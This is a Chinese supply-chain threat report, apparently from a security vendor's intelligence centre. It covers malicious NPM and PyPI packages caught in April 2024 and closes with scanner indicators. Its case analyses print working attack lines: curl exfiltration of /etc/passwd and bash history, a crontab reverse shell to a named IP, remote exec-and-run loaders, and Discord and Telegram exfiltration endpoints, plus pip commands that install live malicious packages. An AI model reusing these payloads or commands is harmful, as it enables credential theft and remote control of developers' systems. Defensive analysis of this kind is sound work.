供应链投毒预警 | 开源供应链投毒202404月报发布(含投毒案例分析)
2024-5-21 16:45:19 Author: www.freebuf.com(查看原文) 阅读量:3 收藏

概述

悬镜供应链安全情报中心通过持续监测全网主流开源软件仓库,结合程序动静态分析方式对潜在风险的开源组件包进行动态跟踪和捕获,发现大量的开源组件恶意包投毒攻击事件。在2024年4月份,悬镜供应链安全情报中心在NPM官方仓库(https://www.npmjs.com/)和Pypi官方仓库(https://pypi.org/)上共捕获772个不同版本的恶意组件包,其中NPM仓库投毒占比接近89%, Pypi仓库投毒占比11%;Pypi官方仓库经历3月份遭受集中式投毒后,对新发布组件包进一步加强审查力度,本月Pypi恶意投毒攻击呈现大幅下降趋势。

1715849941_6645cad570cc3449f7b11.png!small?1715849942092

4月份恶意组件数量及仓库分布

1715849947_6645cadb7cdb388738597.png!small?1715849948361

4月份恶意组件每日统计

1715849951_6645cadfdf87344b603af.png!small?1715849953068

4月份恶意组件态势统计

针对4月份捕获的恶意投毒组件,我们结合静态规则扫描、源代码审计、动态行为监控等方式进行多方位分析,总结统计投毒组件的攻击方式和恶意行为标签。

1715849961_6645cae921e3c90234041.png!small?1715849962694

攻击方式统计

投毒组件攻击方式主要包括:

恶意文件执行

恶意文件下载

代码混淆执行

恶意文件释放

Shell命令执行

其中,投毒者最常用的攻击方式依旧是恶意文件执行(84.25%),其攻击流程是利用开源组件包管理器中的自定义指令来执行隐藏在组件安装包中的恶意文件。此外,恶意文件远程下载执行(8.64%)、恶意代码混淆(4.81%)、恶意文件释放执行(1.2%)以及Shell命令执行(1.09%)都是攻击者惯用的投毒手段。

1715849968_6645caf0a41a401d8a865.png!small?1715849969658

恶意行为统计

在4月份捕获的恶意投毒组件中,信息窃取攻击占比高达93%,其中系统基础信息、系统密码文件、系统日志、用户信息、网络配置、DNS服务器IP、浏览器Cookie及登录凭证等敏感信息是攻击者的主要窃取目标。值得关注的是,Pypi仓库发生多起CStealer窃密后门以及挖矿后门投毒;其次,通过远控木马和反向Shell后门进行远控投毒的攻击呈现逐步上涨趋势。相较于3月份,针对数字钱包应用的攻击有较大幅度减少。

投毒案例分析

本节将从4月份捕获的开源组件恶意包中选取部分具有代表性的投毒样本进行分析、还原投毒攻击细节。

PART.1系统信息外传

4月15~16号,攻击者在Pypi官方仓库发布多个包名为rhermann相关的恶意包(包括rhermann、rhermann-ct、rhermann-sdsm以及rhermann-sds)。这些恶意包具有相同的攻击代码以及相同的高版本号(99.0),可推断攻击者尝试进行包依赖混淆(Dependency Confusion)供应链投毒。

恶意代码直接植入在Python安装包setup.py中,当包管理器下载安装这些恶意Python包时,恶意代码优先触发执行。恶意代码主要负责收集并外传受害者系统的版本信息、主机名、用户名、本地网络配置、DNS解析配置、主机IP等敏感数据(如下图所示)。

1715849992_6645cb08cb14bc8970594.png!small?1715849994476

收集到的系统敏感信息将被外传给攻击者控制的服务接口:https://pypi-index.org/process_data

1715849999_6645cb0fa089bd3148658.png!small?1715850000276

该恶意域名pypi-index.org与Pypi官方域名相比具备一定迷惑性,注册时间为2024年4月10号。

1715850004_6645cb14c83ae689a312c.png!small?1715850006627

截止目前,国内部分Python镜像源仍缓存这些恶意包,其Pypi官方包下载量为758次。

1715850011_6645cb1b95e9f0347c429.png!small?1715850012460

以rhermann为例,目前该恶意Py包仍可从国内主流Pypi镜像源(清华大学、腾讯云等)下载安装,因此潜在的受害者数量可能会更多。

1715850016_6645cb206fa24fb8e64f2.png!small?1715850018093

以国内清华大学镜像源为例,可通过以下命令测试安装该恶意组件包。

pip3 install rhermann -i https://pypi.tuna.tsinghua.edu.cn/simple

1715850023_6645cb2799ff56298c910.png!small?1715850025364

Part2 恶意设立了命令执行

4月2号,攻击者在NPM官方仓库发布包名为monopulips的恶意NPM组件。在组件安装包的模块描述文件package.json中,通过定义postinstall指令在安装过程中执行恶意bash命令。

​bash -c 'curl -sSL https://research20934i.sherlockshat007.workers.dev -o script.sh && chmod +x script.sh && ./script.sh && rm -f script.sh'

1715850039_6645cb37329b0efab42c0.png!small?1715850040930

恶意bash命令通过curl从攻击者服务器(https://research20934i.sherlockshat007.workers.dev)拉取第二阶段恶意bash脚本(script.sh)受害者系统上执行。

1715850046_6645cb3e6b4c5d4c1a354.png!small?1715850047327

第二阶段bash脚本内容如上所示,其内嵌了一段编码后(先base64编码再字符串反转)的bash脚本代码,进一步解码后获取第三阶段真实的恶意bash代码解码(如下所示),其主要目的是将系统密码文件/etc/passwd、bash历史文件~/.bash_history 外传到攻击者服务器(https://8b53a8d8a1c2.sherlockshat007.workers.dev)

curl -X POST -H "Hostname: $(hostname)" -H "packagetype: NPM" -H "Whoami: $(whoami)" -H "Pwd: $(pwd)" -d "Install Directory: \n $(ls -la) \n Security Groups: \n $(id) \n User Directory: \n $(ls ~)\n etc-passwd: \n $(cat /etc/passwd ) \n Installed NPM modules: \n $(npm ls)\n bash history: \n $(cat ~/.bash_history)" -H "secureforward: lksadf8q3elk39" -H "Content-Type: text/plain" https://8b53a8d8a1c2.sherlockshat007.workers.dev

此外在4月4号,我们在Pypi仓库捕获到的恶意Python包lyft-core(版本号999.3.9)通样也使用以上极为相似的恶意bash代码进行投毒攻击(如下所示)。

1715850058_6645cb4ad08b43672e8b6.png!small?1715850059668

Part3 反向shell后门

4月4~7号,投毒者在Pypi官方仓库投放2个伪装成知名Python UserAgent解析库(user-agents)的恶意包(user-agents-parser和user-agents-parsers),这两个恶意包内置了包含Linux反向Shell后门代码的Python模块user-agents。当安装这些恶意包时,恶意包会释放出后门user-agents模块,并替换掉受害者系统环境中原有user-agents模块,实现Python模块投毒。

1715850078_6645cb5e24b2fbc4c83d3.png!small?1715850082099

以user-agents-parser为例,在2.2.2版本安装包中,user-agents/parsers.py在文件末尾包含恶意代码(如下图所示)。

__import__("os").system("(crontab -l > .tab ; echo "*/5 * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/95.179.177.74/1337 0>&1'" >> .tab ; crontab .tab ; rm .tab) > /dev/null 2>&1")

1715850087_6645cb67244c3472962ea.png!small?1715850090083

恶意代码通过linux crontab将反向Shell后门写入linux计划任务,尝试实现后门持久化。如果受害者系统为Linux系统,系统bash shell将反弹到投毒者服务器(95.179.177.74:1337)上,投毒者可对受害者系统进行远程Shell后门控制。

截止目前,这两个恶意Python包总下载量为904次。

1715850096_6645cb703e6ee8f4ad454.png!small?1715850098378

以user-agents-parsers为例,目前该恶意Py包仍可从国内主流Pypi镜像源(清华大学、腾讯云等)下载安装。

1715850103_6645cb771d8a7fa1c3b5b.png!small?1715850104012

以国内清华大学镜像源为例,可通过以下命令测试安装该恶意组件包。

pip3 install user-agents-parsers -i https://pypi.tuna.tsinghua.edu.cn/simple

1715850111_6645cb7f9b42b893c90eb.png!small?1715850114343

Part4 CStealer后门

4月25~26号, 悬镜供应链安全情报中心在Pypi官方仓库中捕获14个伪装http客户端开展CStealer窃密后门攻击的投毒包,涉及multiplerequests、multihttp以及multihttps。这些恶意包主要针对Windows平台Python开发者,恶意包在安装时会远程加载CStealer后门到受害者系统上执行,该后门会窃取受害者系统敏感信息、主流浏览器隐私数据、数字货币钱包应用数据以及系统屏幕截屏等。此外,后门还会尝试驻留Windows系统启动目录实现开机自启动。

以multihttps恶意包2.32.5版本为例,当Python开发者使用pip install从Pypi官方仓库或下游镜像源直接安装或依赖引用恶意组件包时,将触发执行Python安装包setup.py中第一阶段恶意代码(如下图所示)。

1715850124_6645cb8cd5628a651e409.png!small?1715850125686

第一阶段恶意代码进一步从投毒者服务器上拉取第二阶段恶意代码并执行。

from urllib import requestpackage_url = "https://frvezdffvv.pythonanywhere.com/getpackage"package_name = request.urlopen(package_url).read()exec(base64.b64decode(package_name))

第二阶段恶意代码经过base64编码,如下所示:

1715850134_6645cb96ac53b2e26c7e2.png!small?1715850136274

Base64解码后还原出真实的第二阶段恶意代码,如下所示:

1715850140_6645cb9c3f8473c04f662.png!small?1715850142923

经代码分析后确认该恶意代码是github开源CStleaer后门项目的变种版本。

https://github.com/can-kat/cstealer/blob/main/cstealer.py

1715850150_6645cba60464d9b657686.png!small?1715850151831

该CStealer后门主要包括以下功能:

  1. 收集系统敏感信息
  2. 收集浏览器隐私数据
  3. 收集数字钱包应用数据
  4. 系统屏幕截屏
  5. 开机自启动

关于CStealer后门详细分析可参考《恶意Py包伪装HTTP组件开展CStealer窃密后门攻击》

如下所示,CStealer后门窃取的敏感数据包括受害者系统的屏幕截屏都将发送到投毒者webhook接口上。

https://discord.com/api/webhooks/1232850034068951061/T9KYVDomdrducNo_ruHMwHqxePkIfSiKJumxUHggS82EhLTCviZT5F_JOiqVnnP9p6VW

1715850155_6645cbab37232c2dc99fd.png!small?1715850157461

截至目前,这些CStealer恶意Py包在Pypi官方仓库上已被下载超过2200次。

1715850159_6645cbaf5226bec67a130.png!small?1715850161967

以multihttps为例,目前该恶意py包仍可从国内主流Pypi镜像源(清华大学、腾讯云等)下载安装。

1715850165_6645cbb5bf8d14eeea7cb.png!small?1715850167086

以国内清华大学镜像源为例,可通过以下命令测试安装该恶意组件包。

pip3 install multihttps -i https://pypi.tuna.tsinghua.edu.cn/simple

1715850169_6645cbb9d5c3b5578cba5.png!small?1715850170672

Part5 恶意木马植入

4月15~18号,攻击者在NPM官方仓库发布包名为djs-log,版本号为1.1.0和1.1.1的恶意包,通过伪装成知名NPM discord组件discord.js(下图所示)进行恶意木马投毒攻击。

1715850177_6645cbc1a00cb48ed0253.png!small?1715850179080

在组件安装包的模块描述文件package.json中,通过定义preinstall指令在安装过程中直接执行shell命令。

djs-log恶意包的index.js被混淆保护,混淆代码如下所示:

1715850183_6645cbc7275da70900c96.png!small?1715850186855

对混淆代码进行还原后(下图所示)可知,该恶意文件主要负责从discord CDN服务器拉取恶意木马文件Uninstall-Node.js.exe到系统中执行。

1715850189_6645cbcda34c7a3c8193f.png!small?1715850190741

Uninstall-Node.js.exe在Virustotal上被3款杀毒引擎判定为恶意木马文件。

1715850197_6645cbd5784c323e1efc8.png!small?1715850198934

此外,对于 Python组件reqargs在官方Pypi上连续发布4个不同版本恶意包。该组件安装包的setup.py文件被植入远程下载执行木马文件的恶意代码(如下图所示)。

1715850205_6645cbdd3eba5de74ed56.png!small?1715850206001

恶意代码从Dropbox服务器上下载新的木马程序windows.exe到受害者系统临时目录上执行。

b43e&hm=aaf95cda360017d5147699490bdb6a23597fbf29a42599b417011fbc40262018

该木马程序在virustotal上被多款杀毒引擎检出(如下图所示)。

1715850212_6645cbe40fdde5c6aad89.png!small?1715850213168

Part6 数字钱包app窃密劫持

4月9号,攻击者在Pypi官方仓库投放包名为useragent-api的恶意包(涉及版本3.1.1、3.1.4及3.1.5)。在__init__.py中存在包含恶意代码的fetch_useragents函数接口(如下所示)。

1715850232_6645cbf81bc02f5cd2240.png!small?1715850234978

第一阶段恶意代码采用字符串hex编码,解码后得出真实代码如下所示,通过远程拉取第二阶段恶意代码并执行。

import requests; exec(requests.get("https://rentry.co/9sdyip8p/raw").text)

第二阶段恶意代码内容如下所示:

1715850239_6645cbff17845ed694a5a.png!small?1715850240206

第三阶段恶意代码采用PowerShell编写,并通过base64编码,解码后为:

$pastebinURL = "https://rentry.co/7w5v9p4k/raw"; $code = Invoke-WebRequest -UseBasicParsing -Uri $pastebinURL | Select-Object -ExpandProperty Content; Invoke-Expression -Command $code

PowerShell代码会进一步从攻击者服务器拉取第四阶段PowerShell代码(https://rentry.co/7w5v9p4k/raw)并执行,该PowerShell恶意代码主要包含5大功能:

1.收集用户口令数据

2.收集数字钱包应用数据

3.篡改劫持数字钱包应用

4.系统屏幕截屏

5.数据外传

收集用户口令数据

根据内置关键字匹配规则(如下如所示),收集所有命中匹配敏感关键字(数字钱包助记词、数字钱包登录口令、账户私钥等)的文件。

1715850248_6645cc082891b973002d1.png!small?1715850249350

收集数字钱包应用数据

针对主流数字钱包(Exodus、Electrum、Monero)的应用数据目录进行全量拷贝(如下所示)。

1715850252_6645cc0cf2d96e2e3d514.png!small?1715850254324

篡改劫持数字钱包应用

此外,恶意代码还会远程下载包含后门的app.asar文件,并尝试杀掉Exodus钱包应用进程后,使用恶意app.asar替换原有Exodus钱包app.asar文件,从而实现钱包应用程序的持久化劫持。

https://cloudflare-ipfs.com/ipfs/Qmed41NkN5P6T7uNb8dTTWE74gAcXzrsmzjY5FokecKgTD

1715850262_6645cc162a988947d1237.png!small?1715850264577

系统屏幕截屏

如下所示,恶意代码还会调用PowerShell接口对受害者系统屏幕进行截屏操作并生成png图片。

1715850266_6645cc1a33a996fcd986a.png!small?1715850267782

数据外传

对于收集的数字钱包应用数据进行zip打包,最后将zip压缩包和系统截屏图片通过curl传输到攻击者远程服务接口(如下图所示)。

https://api.telegram.org/bot6435250964:AAGjL9ujzVRNrU2o23KcTFeUFwawogschE0

1715850270_6645cc1e7786d7956ede8.png!small?1715850271386

截至目前,该恶意Py包在Pypi官方仓库上已被下载860次。

1715850274_6645cc22546669dff297f.png!small?1715850275646

Part 7挖矿后门

4月10号,投毒者通过伪装Python colorprint模块(下图所示)在Pypi官方仓库投放4个不同版本的恶意包(py-colorprinting),这些恶意包内置了静默下载执行数字货币挖矿后门的colorprint python模块。当安装这些恶意包时,恶意包会释放出colorprint后门模块,并替换掉受害者系统环境中原有colorprint模块,实现Python模块投毒。

1715850283_6645cc2b13562e0d5d067.png!small?1715850284134

以py-colorprinting 0.1.5版本为例,colorpr/__init__.py默认加载core.py,将触发执行包含恶意代码的InitializeConsole函数(如下图所示)。恶意代码启动线程从投毒者服务器上下载挖矿程序压缩包ore-miner.zip,解压ore-miner.zip后执行ORE币挖矿程序ore-miner.exe。

https://cosmoplanets.net/well-known/pki-validation/ore-miner.zip

1715850290_6645cc32c0e72fae1bc45.png!small?1715850292123

ore-miner是基于Electron开发的挖矿客户端,整体程序结构如下所示:

1715850297_6645cc398a6cc1d916996.png!small?1715850298901

投毒者使用的矿池地址为:

https://jupiter-frontend.rpc-pool.comhttps://raydium-raydium-5ad5.mainnet.rpc-pool.com

1715850303_6645cc3f0d159c9f1e08a.png!small?1715850304203

截止目前,该恶意Python包总下载量为864次。

1715850309_6645cc458d90782956baa.png!small?1715850310276

目前该恶意Py包仍可从国内主流Pypi镜像源(清华大学、腾讯云等)下载安装。

1715850316_6645cc4c02af04cc7939c.png!small?1715850317927

以国内清华大学镜像源为例,可通过以下命令测试安装该恶意组件包。

pip3 install py-colorprinting -i https://pypi.tuna.tsinghua.edu.cn/simple

1715850323_6645cc5320b3c9a768e23.png!small?1715850324681

排查方式

针对本分析报告中的投毒样本,开发者可使用OpenSCA-cli,将受影响的组件包按如下示例保存为db.json文件(可参考总结中提到的组件包信息按格式增减),直接执行扫描命令(opensca-cli -db db.json -path ${project_path}),即可快速获知您的项目是否受到文中所披露的投毒包的影响。

[  {    "product": "monopulips",    "version": "[0.1.0, 0.1.5]",    "language": "javascript",    "id": "XMIRROR-MAL45-31C14E5C",    "description": "NPM组件monopulips存在恶意代码,远程下载恶意bash命令执行。",    "release_date": "2024-04-02"  },  {    "product": "lyft-core",    "version": "[999.3.9]",    "language": "python",    "id": "XMIRROR-MALF5-C41B3019",    "description": "Python组件lyft-core存在恶意代码,执行恶意bash命令执行。",    "release_date": "2024-04-04"  },  {    "product": "user-agents-parsers",    "version": "[2.2.1]",    "language": "python",    "id": "XMIRROR-MAL45-A43ABEDD",    "description": "Python组件user-agents-parsers存在恶意代码,利用反向shell后门攻击Linux系统开发者。",    "release_date": "2024-04-04"  },  {    "product": "user-agents-parser",    "version": "[2.2.2, 2.2.3]",    "language": "python",    "id": "XMIRROR-MAL45-38C6CDD2",    "description": "Python组件user-agents-parser存在恶意代码,利用反向shell后门攻击Linux系统开发者。",    "release_date": "2024-04-07"  },  {    "product": "useragent-api",    "version": "[3.1.1, 3.1.4, 3.1.5]",    "language": "python",    "id": "XMIRROR-MAL45-DF933A23",    "description": "Python组件useragent-api存在恶意代码,劫持数字货币钱包应用。",    "release_date": "2024-04-09"  },  {    "product": "py-colorprinting",    "version": "[0.1.1, 0.1.2, 0.1.3, 0.1.5]",    "language": "python",    "id": "XMIRROR-MAL45-62B107C3",    "description": "Python组件py-colorprinting存在恶意代码,远程下载并执行挖矿后门。",    "release_date": "2024-04-10"  },  {    "product": "rhermann-sds",    "version": "[99.0]",    "language": "python",    "id": "XMIRROR-MAL45-CC99C1A2",    "description": "Python组件requests-http存在恶意代码,窃取系统敏感信息。",    "release_date": "2024-04-15"  },  {    "product": "rhermann-ct",    "version": "[99.0]",    "language": "python",    "id": "XMIRROR-MAL45-10EEFB21",    "description": "Python组件rhermann-ct存在恶意代码,窃取系统敏感信息。",    "release_date": "2024-04-15"  },  {    "product": "rhermann",    "version": "[99.0]",    "language": "python",    "id": "XMIRROR-MAL45-7BFF9F62",    "description": "Python组件rhermann存在恶意代码,窃取系统敏感信息。",    "release_date": "2024-04-16"  },  {    "product": "rhermann-sdsm",    "version": "[99.0]",    "language": "python",    "id": "XMIRROR-MAL45-208AAF32",    "description": "Python组件rhermann-sdsm存在恶意代码,窃取系统敏感信息。",    "release_date": "2024-04-16"  },  {    "product": "djs-log",    "version": "[1.1.0, 1.1.1]",    "language": "javascript",    "id": "XMIRROR-MAL45-579E44E0",    "description": "NPM组件djs-log存在恶意代码,远程下载并执行恶意木马程序。",    "release_date": "2024-04-19"  },  {    "product": "multiplerequests",    "version": "[2.31.0, 2.31.1, 2.31.2, 2.31.3, 2.31.4, 2.31.5]",    "language": "python",    "id": "XMIRROR-MAL45-7DF79312",    "description": "Python组件multiplerequests存在恶意代码,利用CStealer窃密后门盗取系统敏感数据。",    "release_date": "2024-04-24"  },  {    "product": "multihttp",    "version": "[2.31.12]",    "language": "python",    "id": "XMIRROR-MAL45-B1487A8",    "description": "Python组件multihttp存在恶意代码,利用CStealer窃密后门盗取系统敏感数据。",    "release_date": "2024-04-26"  },  {    "product": "multihttps",    "version": "[2.31.11]",    "language": "python",    "id": "XMIRROR-MAL45-14D9F4B5",    "description": "Python组件multihttps存在恶意代码,利用CStealer窃密后门盗取系统敏感数据。",    "release_date": "2024-04-26"  }]​

总结

根据2024年4月份捕获的开源组件投毒统计数据以及分析报告来看,投毒攻击手法和目标呈现多样化趋势。NPM仓库依旧是投毒攻击的重点目标,敏感数据窃取仍是主流攻击,此外,针对数字钱包应用的劫持攻击以及挖矿后门投毒攻击也日趋严重。

悬镜供应链安全情报中心是国内首个数字供应链安全情报研究中心,依托悬镜安全团队强大的供应链SBOM管理与监测能力和AI安全大数据云端分析能力,对全球数字供应链安全漏洞、投毒事件、组件风险等进行实时动态监测与溯源分析,为用户智能精准预警“与我有关”的数字供应链安全情报。


文章来源: https://www.freebuf.com/articles/web/401507.html
如有侵权请联系:admin#unsafe.sh